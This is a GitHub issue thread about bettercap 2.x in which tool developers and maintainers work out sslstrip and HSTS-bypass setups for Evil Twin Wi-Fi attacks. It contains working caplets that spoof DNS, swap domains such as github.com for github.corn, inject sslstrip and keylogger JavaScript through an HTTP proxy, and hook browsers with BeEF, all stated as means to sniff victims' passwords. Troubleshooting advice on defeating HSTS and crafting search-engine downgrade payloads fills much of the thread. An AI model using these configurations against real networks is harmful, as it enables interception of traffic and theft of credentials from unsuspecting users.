New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
sslstrip not working as in 1.x / http.proxy refactoring #428
Comments
Would you be able to provide a test domain with https and no hsts where sslstrip used to work in the old version? I have the feeling there's a bug in this new sslstrip implementation :D |
Hi, I tested it using this page: Another site I tested is On these pages, sslstrip is not working on new bettercap. 🙄 Here is a screenshot of what we see in the bettercap's window using the same attack on airgeddon but with the new bettercap version (using the config caplet I posted before)... as you can see nothing special. And what is shown on the victims browser is a failed redirect to a wwww.muji.us and a 404 error... then it redirects to https://www.muji.us and from here all is encrypted... Not sure if sslstrip should be configured in a different way. What about the caplet config file? Are we doing well what we want? or are we missing options? It could be really nice if you could give us some advices about config in order to be able to integrate airgeddon with the new versions of your tool. Thanks. |
i'd need the full log (do not ignore any events, also, the events you're interested in are from Thanks for reporting 👍 |
Great. Let me know if you need more help from our side. |
Hi guys, I have been noticing many issues being written about the builtin sslstrip module, and I just wanted to share some of my experience with downgrading TLS and HSTS. HSTS purely relies on correct spelling of domains, and that is why the builtin sslstrip turns subdomains like The issue with this is that HSTS can enforce SSL for all subdomains (as is the case with https://github.com), as well as the fact that client-side SSL upgrades can take place (e.g. meta redirections, javascript, etc...). 8 months ago I released a caplet called hstshijack which allows you to downgrade HSTS and TLS, even if I have documented the caplet with a readme file, but I am thinking about making a video to explain in more detail how bettercap can downgrade every HSTS/TLS instance for web browsers. This is the HSTS header from github.com:
github.com is also enrolled in Chrome's HSTS preloading program, as seen here: https://hstspreload.org/?domain=github.com This means that you will not be able to just SSLstrip connections with GitHub, unless the browser that requested github is absolutely terrible and doesn't even support HSTS *coughsamsung*. In order to successfully sniff GitHub passwords, you will need to alter the spelling of their domain, as wwww.github.com will still be upgraded since For this example I have chosen to alter GitHub's top level domain, changing it from This is the caplet I used: set hstshijack.log /usr/local/share/bettercap/caplets/hstshijack/ssl.log
set hstshijack.payload /usr/local/share/bettercap/caplets/hstshijack/payloads/hstshijack-payload.js
set hstshijack.ignore *
set hstshijack.targets github.com,*.github.com
set hstshijack.replacements github.corn,*.github.corn
set hstshijack.obfuscate true
set hstshijack.encode false
# SSLstrip + keylogger + Google downgrade
set hstshijack.custompayloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js,google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google.js,*.google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google.js,google.com.au:/usr/local/share/bettercap/caplets/hstshijack/payloads/google.js,*.google.com.au:/usr/local/share/bettercap/caplets/hstshijack/payloads/google.js
set http.proxy.script /usr/local/share/bettercap/caplets/hstshijack/hstshijack.js
set http.proxy.port 8222
set dns.spoof.domains github.corn,*.github.corn
dns.spoof on
http.proxy on
net.sniff on And this is the result: Now you may argue that nobody will ever type corn instead of com, and that is probably true, but Google has sacrificed their search engine's HSTS to allow dumb devices to trigger the captive portal, while search engines like Yahoo and Bing don't seem to understand HSTS and how to properly implement it. Therefore hstshijack injects a core JavaScript payload to ensure that every instance of github.com is replaced with github.corn on every page. Cheers 🥂 |
I was trying the caplet you mentioned @yungtravla but seems that it doesn't work for us. I'm using the original (the one hijacks facebook) but no logs are generated when I visit the page from a spoofed client. Despite this, the client connects to facebook and no to facedook.com and it has full conectivity (but seems not to pass throught bettercap). In our test we are deleting all cookies, caché and navigation history and then accesing to facebook.com (without specifying the protocol). Also we need to spoof any domain as the old bettercap does. Since we use it in a evil twin attack and we don't know the pages the client will access. Is it possible to specify the hstshijack hosts as "." or something similar like in bettercap 1.6.2? Regards. |
Yeah it could be awesome to enable the sslstrip sniffing without specifying any domain like in old bettercap versions because as @JBalanza said... we don't know which pages are going to be visited by the victims. Anyway, it seems is not working even using that caplet and testing it on facebook.com 😨 |
facebook.com is preloaded with HSTS and is therefore automatically upgraded to SSL in browsers... You simply cannot downgrade SSL when the victim requests Read more here: https://hstspreload.org/?domain=facebook.com The whole idea is that you inject a search engine, or any other page that contains a You can also target common typos that people make, such as Now it is your job to successfully downgrade additional JavaScript security, so you will have to do some initial testing on specific search engines like Google and Yahoo. I have a payload that downgrades their JavaScript security, and I am happy to demonstrate how it works.
You simply have no other option with HSTS, because sites can now protect all their subdomains, including I have just made a small change to the hstshijack module so you can also target top level domains only, for example: set hstshijack.targets *.com,*.net,*.co.uk
set hstshijack.replacements *.corn,*.nel,*.cc.uk I will push that now :) |
We are trying with other domains but our results are still the same. When we have access to that commit we will full try again our implementation with Airgeddon. |
Then those hosts are HSTS preloaded, use Strict-Transport-Security headers, are cached by the browser, or you are using a plugin like HTTPS Everywhere. There is no other reason why it should not work.
Yes, I just tried it out and it works like a charm, so if you spoof all top level domains then every site (given that the referrer was injected/browser cache is cleared/...) can be sniffed. |
A quick summary as to when you can or cannot downgrade SSL of hostnames like ✔️ When you are able to downgrade
❌ When you are not able to downgrade
|
Hi, thanks for clarifying how sslstrip and sslstrip2 works and how impact on some domains and browsers. I'll perform tests deeply to see if finally we can make this work. Anyway, we need some help with more stuff... on old bettercap we had the I tried to do it using the "trick" of |
@OscarAkaElvis no worries, just keep in mind that ssl stripping and hsts bypassing are different things. You can't sslstrip and spoof only subdomains. In many cases you have to spoof the actual domain. Please open a new issue in regards to saving output, that way we can keep a record of each issue :) |
Ok I'll open a new issue if needed but the orginal issue was "Bettercap integration into other scripts". Originally I was asking about how to migrate the arguments from the 1.x version to 2.x and somebody changed the issue and deviated it to a bug problem but my target opening this issue was to be able to integrate bettercap 2.x with my tool airgeddon which has already fully working an attack integrating bettercap until version 1.x. I think the open source tools creators should collaborate and I'd really like to integrate bettercap 2.x . The problem is that I don't really know if something is not working in bettercap 2.x or it just has not the feature I need. If you think that what I'm asking for (just a simple option to create a log file with the same output as shown in the screen but without colors) is not possible to do right now with the available options in bettercap 2.x ok, confirm it to me and I'll open another issue for the feature request, but at first sight, I'm basing in what it was working in bettercap 1.x because I suppossed that same features should be available (now I see that is not true). I did a "dirty" workaround for the log stuff.... I saw bettercap 2.x has a Another "dirty" workaround could be to use ccze package. Using Ideally, bettercap 2.x should have an option (like 1.x have) to create a log file without colors while showing colors on screen. I really urged you to give it a try to our tool in order to understand the context of what is needed. You'll need just a git clone to it and a compatible to monitor mode wireless card. That's all. As I said, bettercap 1.x is working flawlessly with all the needed features (log, sniffing plain ftp and http stuff, sslstripping, sslstriping2 and BeEF js injection). I insist in open-source tools creators should collaborate. Thanks for this awesome tool. We really like it but in my opinion, the port to 2.x was premature because it seems it doesn't have the same level of features as 1.x . Ok, I can understand anyway the portability but this needs to mature and if we can help on that process testing, reporting or however we are glad to help. Summarizing, please confirm if bettercap 2.x right now have the log feature. If not, I'll open a new issue as you requested but I thought all related stuff could be discussed here. Thanks and regards. |
@OscarAkaElvis bettercap v2.x is far superior to the legacy version, with many new features, and much more accessibility and control.
I read the issue you posted, you were specifically asking for help with sslstrip:
Regarding your second issue: There are multiple ways you can go about saving the stream while watching it, with and/or without colors. For instance, you can follow the tail of the events.stream.output file ( To save a copy of the events log without colors you can find and replace them, like so: sed "s/\x1b\[[0-9]\+\(;[0-9]\+\)*\+m//g" /path/to/output.txt > /path/to/output.nocolors.txt |
Ok, thanks for the suggestion, I'll try that workaround once something is logged... but I'm still not able to make work the log stuff using bettercap option for that... I just added to my config capplet |
The |
So... If I understood well... on my configuration caplet I should make this:
Think about even with an interactive console, we are trying to perform an automatized process, so forget about launching stuff on bettercap's console. Ok, I'll try that. Thanks. |
Yeah man, this method is working... and your sed line is working like a charm... one suggestion about this. Using this bettercap feature to log the file, as wiki documentation said, the captured stuff is not shown on the screen, then it is appearing in the log. ¿? Why can't we see what is happening on the screen and in addition get it into the log? To me sounds like the best option, I mean to have both (screen and file, like in 1.x versions). Anyway we are going to solve this for the integration using the tee and then using your sed cmd. In this way we'll have all the stuff on screen and also in the log file generated by tee and after sed, everything ready to be parsed without colors on the file. Thanks! this is the kind of support we need to be able to integrate this. Not only to fix bugs (which is important) but we don't have that deep knowledge about how bettercap works. Soon I'll perform deep tests about sslstrip and I'll get back to here with my report. |
There's no real need for that, because you can detach multiple processes and pipe their standard output to one terminal. For example: touch output.txt && tail -f output.txt & bettercap -eval "set events.stream.output output.txt; restart events.stream" In a terminal, Using |
It could be a nice builtin feature however, in case we forget to follow the output tail, and don't want to restart the session and possibly lose the session config. |
Yeah, the log stuff finally was solved using "bash tricking" out of bettercap features... the tee, the sed to clean colors on log, etc... but now that part is fully working. Anyway, yes, it could be nice to have an option to create a log (log without colors) while not losing anything on the screen (colored), in the same way as it works on bettercap 1.x I didn't have time yet to test deeply the sslstrip stuff... The expected behavior is the same as bettercap 1.x (at least is the expected for me as user). I'll try to make it work on |
@yungtravla from what i see sites like facecook , gmail that r hsts preloaded |
When you do, be sure to provide those full debug logs we asked for.
These changes were already pushed to master. |
testing locally and I am not having any issues sniffing keystrokes on a spoofed trello page: caplet: set hstshijack.log /root/caplets/hstshijack/ssl.log
set hstshijack.payload /root/caplets/hstshijack/payloads/hstshijack-payload.js
set hstshijack.ignore *
set hstshijack.targets *.com
set hstshijack.replacements *.corn
set hstshijack.obfuscate true
set hstshijack.encode false
# SSLstrip
# Keylogger
set hstshijack.custompayloads *:/root/caplets/hstshijack/payloads/sslstrip.js,*:/root/caplets/hstshijack/payloads/keylogger.js
set http.proxy.script /root/caplets/hstshijack/hstshijack.js
set http.proxy.port 8200
set net.sniff.filter not (arp or port 5353)
set net.sniff.verbose false
http.proxy on
net.sniff on So we need more information, please provide step by step explanation of your methods, and do not leave out any details, for example:
|
Ok... i can't make this work... quite strange... I did another Anyway, I'll try to describe how I'm launching bettercap and what is it for and how you can reproduce the problem. In first place I must say that with this new version there is no more Then, as I exposed before on this thread, what our team is trying to do is to integrate bettercap 2.x in one Evil Twin attack using airgeddon tool. If you download master version you'll see that it is working flawlessly with bettercap 1.x . If you have bettercap 2.x the tool stops before launching the attack and recommends to you to perform a bettercap downgrade using this instructions. Ok, until here everything is clear and working. Now let's try the airgeddon tool on its branch called "bettercap2.x" on which we are trying to make this to work. We already have implemented the version detection and the log stuff... only the sslstrip is remaining and we need to set up a nice and working caplet for that. The tool on this branch is able to detect bettercap's version and launch it in the old working way for bettercap 1.x and with the new caplet way for the 2.x . So... if you want to reproduce it, first perform a git clone of the tool on that branch: Then you should launch the tool and navigate to Evil Twin attacks menu to launch the Remember that the caplet already implemented on this branch is not working yet. It will be created once attack is launched at Launch the attack selecting any existing target. If you don't want to disturb to network's owner once the attack is launched close also the DoS window (the red one)... or maybe you can launch the attack over an invented non-existing target answering "Y" to the question Once the attack is launched, as we said before, close the bettercap's window and the DoS window if proceed and then open another terminal and launch bettercap. I did using the caplet you put on your last post, only just changing the route for the files keylogger.js , hstshijack.js, sslstrip.js and hstshijack-payload.js to point to the right ones which are in Now we are ready to test... Now I connect using my Oneplus3 Android 8 phone acting as a victim to the "test" network. I open Chrome browser and I close all tabs first, clean absolutely all privacy options (cookies, history, temp files, etc). I must say I did tons of tests using the same phone and procedure which worked with bettercap 1.x. Then I open a tab and type "http://trello.com" . At this point I think is the same as just typing "trello.com" but I want to be sure... anyway... the page is not opening while I can surf on other non-spoofed pages like google, instagram or whatever... As a curious data... I can say that once launched... it says "sslstrip disabled" which sounds to me very weird... I think it should be "sslstrip enabled"... and it is exactly your caplet file... ¿? the proof (I marked it in red): And this is the full log... on it, you can see some requests... the failed trello.com request and some which worked like instagram or google as I said.
Thank you so much for your time and infinite patience! but we really need help on this to put bettercap2.x on the road with airgeddon. |
This has been explained many times: you cannot sniff credentials on a HSTS preloaded domain. This is the entire purpose of HSTS, to make sure than connections to those hosts are always done via SSL. You tried to type
No, the Like I said, you will need to write custom payloads in order to downgrade search engines and other exploitable sites. You can also include all potential typos that the user might make when typing trello.com (such as I will upload my current Google payload, but expect that it will need to be updated as Google makes changes to its search engine. The days where you can sniff passwords when people navigate directly to sites like trello.com are over. |
That's not fully true. I really think you are wrong, man 😸 ... It is working on bettercap 1.x as you can see on my second post of this thread. That was performed days ago... still working... sslstrip is taking first http request (if user is typing trello.com or http://trello.com). I know that if user goes directly to https://trello.com there is nothing to do. And HSTS is just a header that once reached is going to say to the client "hey, this page is served by https, remember that for this amount of time!" and then the client is redirected and after that, same user trying to access again to the HSTS site will do it directly to the https site but there is still possible to do sslstrip even with HSTS if you are listening and sniffing on the first attempt of the user if he/she is requesting the http version of the site, remember that!!! that's the reason we clean all the cookies, tmp files and history from victim's browser on each test. Another story is that browsers have internal lists with tons of known https sites like facebook, twitter, etc... and they are forcing that access to use https, I know that... for sure, to sniff that passwords sslstrip2 or sslstrip+ (is the same) is needed and dns spoof is needed... but for unknown https sites or any page not listed in browsers lists, sslstrip is still working .... and believe me, trello.com is not on that list!! as you can see in the screenshot of my second post, it is working even without spoofing any domain name. What I am requesting here is... Is there any chance to have this working as bettercap 1.x is doing? Because in my opinion is much easier to handle. At least for our integration on which we don't know the pages where the victims are going to surf. Maybe bettercap 2.x is better for tailored attacks... but for sure, to be used in a "non scoped attack", bettercap 1.x is much better (talking about http and sslstrip stuff). That's the reason I think @evilsocket marked this as "to refactor". I think he plans to listen to us to create a behavior similar to bettercap 1.x |
Not if You're right about trello, they have a weak HSTS configuration. And when I type
It already is, if not better than in 1.x. I don't see a single HTTP packet in your logs, just 1 DNS request for trello.com. Something's not right with your setup and it has nothing to do with bettercap. Can you open up the network tool from your browser's developer tools, clear all the history, and then show us the list of requests that were made when you visit trello.com? If we can see that traffic it will tell us a lot more about what's going on.
|
I'm performing the tests you asked so we can see what is going on. First of all, just to let you know, when upgrading bettercap by go method, I got 2.17. For getting 2.19 I downloaded the compiled executable under the releases tab. But thats not the point of this post so I go down to work: I run airgeddon as always, but when performing eviltwin+sslstrip+bettercap sniffing I close the original tab that runs the old bettercap and I run the new version myself while unstopping the attack. The caplet I use is the following:
Now I connect with my laptop and this is the output log:
And the inspector tab form chrome is the following: And yeah, I have clean all my cookies, browser preferences and all that stuff in the browser before trying. The behaviour have been these one:
Cheers! |
What happens if you configure I just tested the caplet again by arp spoofing my phone, and trello.com loaded without SSL. The reason why it does not redirect you to So it turns out that Chrome does not show any signs of SSL in the network tools... That's annoying, but from the response code (200) I can tell that you are directly connecting to If not, then I blame HSTS and you should find another way to clear it, perhaps via I just visited Then again, it was already made clear that you cannot spoof connections to a HSTS enabled hostname, and that the only way to get around this is to inject a page with a hyperlink/redirect to trello.com, so that your JS payload can manipulate that page and change these hyperlinks/redirections to send the victim to TL;DR If you have ever visited So we can establish that the days of being able to sniff/inject HSTS enabled hostNAMES are indeed over, at least for Chrome :) References: Remember that Strict-Transport-Security headers do not behave the same as Location headers that tell users to use SSL. |
@JBalanza however what puzzles me is that you do seem to receive HTTP requests for trello.com...
🤔 let's see what happens when you delete trello.com in |
Also make sure you add the
|
Thanks for answering, I will add:
in the caplet and delete trello from hsts in chrome-internals. I will post here the results. |
I've just tried, the same results. I added the dns spoof lines I commented before and as it were not working I also added the The behaviour still exactly the same. This time I tested with my android (I dont use HTTPS Everywhere or any plugin like that, the only I have installed is the norton app but I think it does not have any interference with the scenario) and used the samsung built-in browser. I never used it, quite less for accessing trello. The following log is the result:
Exactly what im supposed to access first in order to get 'poisoned': http://trello.com, http://trello.corn, https://trello.com or https://trello.corn? Regards |
@JBalanza please provide debug logs and clear |
Also @JBalanza you need to restart You can just pop...
...at the bottom of your caplet. |
wow this is probably the longest thread of this repo :D |
right? 😆 I want to close but I'm just not sure whether this is a bug or bad config ¯\(ツ)/¯ gotta see those debug logs |
Yeah @evilsocket this is so long... 😢 really is not possible to work in some way like bettercap 1.x ??? I mean, just enable the sslstrip and leave to bettercap the way to handle all the stuff... maybe an "automatic sniffing mode" or something similar... why did you tagged this as bug or refactor? what do you have in mind? @yungtravla , trello has hsts enabled, that's true... but it has a poor implementation and it is not on browser's internal lists... i repeat, i got this working easily on bettercap 1.x and remember that on each test we clean all the browser cookies, temp files, etc etc... same procedure works on bettercap 1.x and doesn't work on bettercap 2.x ... that's what we are explaining here. |
@OscarAkaElvis have you tried without airgeddon? We need to see debug logs. You keep asking for the same implementation as in 1.x but it's already functioning that way, I cannot reproduce a single issue that you and @JBalanza have raised here, and it seems that you are both using bettercap through airgeddon. Try it without airgeddon, try to single out the problem. Most important of all, please paste debug logs here, not just event logs, debug logs. (add |
Here is the debug logs for the same scenario tried a week ago. (The log below were produced using bettercap 2.19 in airgeddon environment).
The caplet used is this one:
I got an error. When inserting the last two options into the caplet (events.stream off and on), bettercap doen't show any prompt and it is not working. |
Hi, long time since our last post...Hope you not missed us very much haha 😄. I performed the scenario as we talked (without airgeddon): two VM with full visibility between them and one being the spoofer (with bettercap v2.23) acting as a gateway with forwarding enabled and other being the victim. We are going to call them 'spoofer' and 'victim' devices. I have normal internet access in the victim (through the spoofer) without using bettercap. Then using bettercap, with the following caplet, all starts well. It seems that the domains are spoofed and intercepted succesfully. We find out that trello's login is not working for us (idk if trello's has changed something since last tests). We cannot send the login form due some lack of resources loaded we think. Of course data, cache and all browser data were cleaned. this is my caplet
This is the shown login form (with the error that cannot be sent) And the logs are the following:
Am I missing something that causes this error?. Could you help to complete this PoC? Regards. |
Hi, I did some tests... same point as @JBalanza . I'm not able to make sslstrip to work in trello.com webpage. I tried same configuration without using airgeddon and I got same spot. I re-tested trello.com on Bettercap 1.x to be sure that anything changed in that page and to know if it is still "sslstripable"... and yes, it is... working again on bettercap 1.x. The proof again: So... I decided to test Bettercap 2.x with a new targets. I chosen this non-HSTS webpage: First tested using bettercap 1.x and it worked of course: So, I decided to set up an environment to test bettercap 2.x sslstrip deeply. Environment:Tested without using airgeddon. Just using two Linux machines. Attacker (Kali) with routing enabled and victim (Parrot) setting attacker as gateway (no arp-spoofing to remove as much as possible chaos agents here). Surfing is working ok from the victim through the attacker. Latest Bettercap version used from Kali repo: v2.24 (built for linux amd64 with go1.11.6) Tests done:
All tests were using a pretty similar than @JBalanza caplet config file. This:
Test1 results (Plain text passwords capturing) working:Plain text password was captured successfully Test2 results (sslstrip on trello.com) failed:Trello domain is spoofed (to trello.corn as is set up in caplet config file), but the page is not able to load all its resources as you can see in next image. Blank page after clicking on Login button. Test3 results (sslstrip on onlineprep.act.org) failed:For some reason, typing "onlineprep.act.org/login" on browser's victim is redirected to "wwww.onlineprep.act.ogr/login". So, the .org domain is well spoofed to .ogr domain but, why the hell is adding wwww before? That is what is making it to fail... The data from the Bettercap's console on next image: After this failed redirect... if the victim manually remove wwww from the url while keeping the spoofed domain (ogr instead of org) letting it as "http://onlineprep.act.ogr/login", it reaches the right page hoping to get the pass but after sending it... the pass is not captured 😢 And the bettercap console... password not shown... Conclusions:
Please @evilsocket , refactor is needed! I saw that you are focused now on new bettercap features like wireless stuff... but, what about this? IMO is one of the best features! Bettercap can be again the best tool if you fix this! Take it into consideration. Thank you. |
Nice to hear that you can successfully spoof Trello. It's not a surprise that the login doesn't work as a lot of stuff will break when SSLstripping, so you're gonna have to get crafty with JavaScript. Here is my suggestion:
Let me remind you that SSLstrip is NOT a one solution that phishes all. If you want to be stealthy and care about serving pages that are not obviously tampered with, you need to have a decent payload for them. I have just merged bettercap/caplets#46 which solves a few problems in hstshijack. This version may work better in your scenario. |
finally closed with #723 |
Hi, this is not a bug report, just looking for some support.
Our team has old versions of bettercap fully integrated into another script called airgeddon performing flawlessly Evil Twin attacks using Bettercap+BeEF, etc... For now, max bettercap version supported is 1.6.2 (just before the major change) and we would like to integrate new Bettercap versions (2.x). We already have the function to detect if the bettercap present in OS is the old or the new one, that part is ok. I must say we missed some "-version" or similar tag in order to get this easier... but anyway it was done using
bettercap -eval "q"
and parsing output... We just like to add this awesome tool to keep the compatibility with its new versions. We are trying to keep same functionallity and features using the new versions 2.xOk, after the introduction, lets explain what we really need:
Environment
We are using on tests bettercap 2.13 in Kali which is the latest in their repos and 2.13.1 in Parrot Security.
An example of the command line on the old fully working 1.6.2 version is:
bettercap -I wlan0 -X -S NONE --no-discovery --proxy --proxy-port 8080 --disable-parsers URL,HTTPS,DHCP --no-http-logs --proxy-module injectjs --js-url "http://192.168.1.1:3000/hook.js" --dns-port 5300
This is our bettercap 2.x configuration file approach:
And we also have the
ag.bettercap.js
file with the BeEF stuff pointing to the server's hook.js file. I'm not going to put its content because the BeEF part is working. The js is injected and the clients are hooked, that part is ok. The problem is that nor sslstrip neither ssltrip2 are not working for us. For sure we are doing something wrong.Bear in mind that on the Evil Twin integration there is no need for ARP spoofing or any recon... the MiTM is already done. The features we need are:
Are we on the right path? Could you help us to provide a config file approach for this kind of configuration? That would be awesome!
P.S. Feel free to close this instantly because as I said, it is not a bug report, just some kind of question. Maybe we can talk here about this even with the closed thread.
Thank you so much for your time and regards.
The text was updated successfully, but these errors were encountered: